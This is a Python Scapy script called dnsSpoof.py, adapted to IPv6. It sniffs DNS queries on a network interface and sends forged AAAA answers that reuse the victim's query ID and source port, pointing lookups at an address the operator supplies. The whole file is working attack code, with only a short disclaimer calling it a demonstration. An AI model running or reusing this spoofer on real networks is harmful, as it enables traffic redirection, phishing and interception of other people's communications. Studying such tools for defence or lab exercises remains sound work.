#!/usr/bin/env python # This code is strictly for demonstration purposes. # If used in any other way or for any other purposes. In no way am I responsible # for your actions or any damage which may occur as a result of its usage # dnsSpoof.py # Author: Nik Alleyne - nikalleyne at gmail dot com # http://securitynik.blogspot.com # Changed to IPv6 by S.B. # # This code replies to _any_ AAAA query with the current IPv6 address (argv[2]), # except for queries with a magic ID number 9999, to which the answer is different. # # This script misses the right responses to SOA, NS, and MX records. # from os import uname from subprocess import call from sys import argv, exit from time import ctime from scapy.all import * def osCheck(): if ( uname()[0].strip() == 'Linux' ) or ( uname()[0].strip() == 'linux ') : print(' Current system is Linux ... Good to go!!') else: print(' Not a Linux system ... Exiting ') print(' This script is designed to work on Linux ... if you wish you can modify it for your OS ') exit(0) def usage(): print(" Usage: ./dnsSpoof ") print(" e.g. ./dnsSpoof eth0 10.0.0.1") def main(): call('clear') osCheck() if len(argv) != 3 : usage() exit(0) myIP = argv[2].strip() myIF = argv[1] while 1: # Sniff the network for destination port 53 traffic # print(' Sniffing for DNS Packet ') getDNSPacket = sniff(iface=myIF, filter="ip6 and dst port 53", count=1) pkt = getDNSPacket[0] print pkt.show() # Note: trying to send an IPv6 address in an A query crashed Scapy on # line 182 /usr/lib/python2.7/dist-packages/scapy/layers/dns.py, # where that address gets passed to inet_aton # if the sniffed packet is a DNS Query, let's do some work if ( pkt.haslayer(DNS) and pkt.haslayer(DNSQR) and pkt[DNS].qr == 0 and pkt[DNSQR].qtype == 28 and pkt[DNSQR].qclass== 1 and # AAAA and IN pkt[IPv6].dst == '2604:5f00:ffff:fe00::1:53' ) : print('\n Got Query on %s ' % ctime()) # Extract the src IP clientSrcIP = pkt[IPv6].src # Extract UDP or TCP Src port if pkt.haslayer(UDP) : clientSrcPort = pkt[UDP].sport elif pkt.haslayer(TCP) : clientSrcPort = pkt[TCP].sport else: pass # I'm not tryint to figure out what you are ... moving on # Extract DNS Query ID. The Query ID is extremely important, as the response's Query ID must match the request Query ID clientDNSQueryID = pkt[DNS].id # Extract the Query Count clientDNSQueryDataCount = pkt[DNS].qdcount # Extract client's current DNS server clientDNSServer = pkt[IPv6].dst # Extract the DNS Query. Obviously if we will respond to a domain query, we must reply to what was asked for. clientDNSQuery = pkt[DNS].qd.qname print(' Received Src IP:%s, \n Received Src Port: %d \n Received Query ID:%d \n Query Data Count:%d \n Current DNS Server:%s \n DNS Query:%s ' %(clientSrcIP,clientSrcPort,clientDNSQueryID,clientDNSQueryDataCount,clientDNSServer,clientDNSQuery)) # hack on the query id, for a basic Scapy/DNS exercise: anIP = myIP if( clientDNSQueryID == 9999 ): anIP = '2604:5f00:ffff:fe00::5353'; # Now that we have our source IP and we know the client's destination IP. Let's build our IP Header spoofedIPPkt = IPv6(src=myIP, dst=clientSrcIP) # Now let's move up the IP stack and build our UDP or TCP header # We know our source port will be 53. However, our destination port has to match our client's. # In addition, we don't know if this is UDP or TCP, so let's ensure we capture both if pkt.haslayer(UDP) : spoofedUDP_TCPPacket = UDP(sport=53, dport=clientSrcPort) elif pkt.haslayer(TCP) : spoofedUDP_TCPPacket = UDP(sport=53, dport=clientSrcPort) # Ok Time for the main course. Let's build out the DNS packet response. This is where the real work is done. # This section is where your knowledge of the DNS protocol comes into play. Don't be afraid if you don't know # do like I did and revist the RFC :-) # # The following doesn't work for IPv6 DNS. Must be careful with NS and Authority records # # spoofedDNSPakcet = DNS(id=clientDNSQueryID, qr=1, opcode=pkt[DNS].opcode, aa=1, rd=0, ra=0, z=0, rcode=0, qdcount=clientDNSQueryDataCount, ancount=1, nscount=1, arcount=1, qd=DNSQR(qname=clientDNSQuery, qtype=pkt[DNS].qd.qtype, qclass=pkt[DNS].qd.qclass), an=DNSRR(rrname=clientDNSQuery, rdata=myIP, ttl=86400, type=28), ns=DNSRR(rrname=clientDNSQuery, type=2, ttl=86400, rdata=myIP), ar=DNSRR(rrname=clientDNSQuery,rdata=myIP)) spoofedDNSPacket = DNS(id=clientDNSQueryID, qr=1, opcode=pkt[DNS].opcode, aa=1, rd=0, ra=0, z=0, rcode=0, qdcount=clientDNSQueryDataCount, ancount=1, nscount=0, arcount=0, qd=DNSQR(qname=clientDNSQuery, qtype=pkt[DNS].qd.qtype, qclass=pkt[DNS].qd.qclass), an=DNSRR(rrname=clientDNSQuery, rdata=anIP, ttl=86400, type=28)) # Now that we have built our packet, let's go ahead and send it on its merry way. print(' \n Sending spoofed response packet ') send( spoofedIPPkt / spoofedUDP_TCPPacket / spoofedDNSPacket, iface=myIF, count=1) print(' Spoofed DNS Server: %s \n src port:%d dest port:%d ' %(myIP, 53, clientSrcPort )) else: pass if __name__ == '__main__': main()